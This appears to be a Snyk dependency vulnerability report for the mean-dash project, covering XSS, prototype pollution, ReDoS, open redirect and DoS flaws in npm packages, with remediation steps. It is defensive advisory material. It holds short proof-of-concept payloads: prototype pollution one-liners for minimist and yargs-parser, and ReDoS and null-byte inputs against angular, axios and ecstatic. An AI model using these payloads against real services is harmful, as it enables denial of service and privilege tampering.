Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade webpack to version 5.94.0 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: coveralls@2.13.3, http-server@0.9.0 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › coveralls@2.13.3 › minimist@1.2.0Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › http-server@0.9.0 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-dev-server@1.16.5 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › ng-annotate-loader@0.1.1 › ng-annotate@1.2.1 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack-stream@3.2.0 › webpack@1.15.0 › optimist@0.6.1 › minimist@0.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3 › mkdirp@0.5.1 › minimist@0.0.8Remediation: Upgrade to mocha@6.2.3.
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: yargs-parser
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › webpack@2.7.0 › yargs@6.6.0 › yargs-parser@4.2.1Remediation: Upgrade to webpack@4.0.0.
Overview
yargs-parser is a mighty option parser used by yargs.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.
Our research team checked several attack vectors to verify this vulnerability:
- It could be used for privilege escalation.
- The library could be used to parse user input received from different sources:
- terminal emulators
- system calls from other code bases
- CLI RPC servers
PoC by Snyk
const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.
References
medium severity
- Vulnerable module: log4js
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › log4js@0.6.38Remediation: Upgrade to karma@5.0.8.
Overview
log4js is a Port of Log4js to work with node.
Affected versions of this package are vulnerable to Information Exposure via the default file permissions for log files that are created by the file, fileSync and dateFile appenders which are world-readable (in unix). This could cause problems if log files contain sensitive information. This would affect any users that have not supplied their own permissions for the files via the mode parameter in the config.
Remediation
Upgrade log4js to version 6.4.0 or higher.
References
medium severity
- Vulnerable module: ecstatic
- Introduced through: http-server@0.9.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › http-server@0.9.0 › ecstatic@1.4.1Remediation: Upgrade to http-server@0.10.0.
Overview
ecstatic is a simple static file server middleware. Use it with a raw http server, express/connect or on the CLI.
Affected versions of this package are vulnerable to Open Redirect. The package failed to validate redirects, allowing attackers to craft requests that result in an HTTP 301 redirect to any other domains.
Remediation
Upgrade ecstatic to version 2.2.2, 3.3.2, 4.1.2 or higher.
References
medium severity
- Vulnerable module: karma
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5Remediation: Upgrade to karma@6.3.14.
Overview
karma is a simple tool that allows you to execute JavaScript code in multiple real browsers.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the returnUrl query param.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade karma to version 6.3.14 or higher.
References
medium severity
- Vulnerable module: karma
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5Remediation: Upgrade to karma@6.3.16.
Overview
karma is a simple tool that allows you to execute JavaScript code in multiple real browsers.
Affected versions of this package are vulnerable to Open Redirect due to missing validation of the return_url query parameter.
Remediation
Upgrade karma to version 6.3.16 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0Remediation: Upgrade to angular@1.6.3.
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Denial of Service (DoS).
due to $sanitize in sanitizer being unable to traverse the HTML because one or more of the elements in the HTML have been "clobbered". This could be a sign that the payload contains code attempting to cause a DoS attack on the browser.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade angular to version 1.6.3 or higher.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression.
Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for angular.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the $resource service due to the usage of an insecure regular expression.
Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.
PoC
The vulnerability manifests itself when the $resource service is used with a URL that contains a large number of slashes followed by a non-slash character (for example, /some/url/////.../////foo):
$resource('/some/url/${manySlashesFollowedByNonSlash}`).query();
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for angular.
References
medium severity
- Vulnerable module: angular
- Introduced through: angular@1.5.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › angular@1.5.0
Overview
angular is a package that lets you write client-side web applications as if you had a smarter browser. It also lets you use HTML as your template language and lets you extend HTML’s syntax to express your application’s components clearly and succinctly.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality.
Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.
PoC
The vulnerability manifests itself when a <input type="url"> element is filled with an invalid URL consisting of any scheme followed by a large number of slashes (for example, http://///.../////):
<input type="url" ng-model="urlWithManySlashes" />
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for angular.
References
medium severity
- Vulnerable module: axios
- Introduced through: browser-sync@2.29.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › browser-sync@2.29.3 › localtunnel@2.0.2 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.
PoC
const axios = require('axios');
console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');
console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');
/* stdout
t1: 60.826ms
t2: 5.826s
*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.29.0, 1.6.3 or higher.
References
medium severity
- Vulnerable module: ecstatic
- Introduced through: http-server@0.9.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › http-server@0.9.0 › ecstatic@1.4.1Remediation: Upgrade to http-server@0.10.0.
Overview
ecstatic is a simple static file server middleware. Use it with a raw http server, express/connect or on the CLI.
Affected versions of this package are vulnerable to Denial of Service (DoS). The process of replacing null bytes in the url string is being done in a loop:
Find Null Bytes --> If found remove Null Byte --> Repeat
When no more Null Bytes found, the flow of the program continues.
This method would work fine with a normal URL that should be relatively short, but a malicious user may craft a very long URL with a lot of Null Bytes.
PoC by Checkmarx:
http://www.checkmarx.com/advisories/%00%00%00%00%00%00...
Slowdown:
A payload of 22kB caused a lag of 1 second, A payload of 35kB caused a lag of 3 seconds, A payload of 86kB caused the server to crash
Details
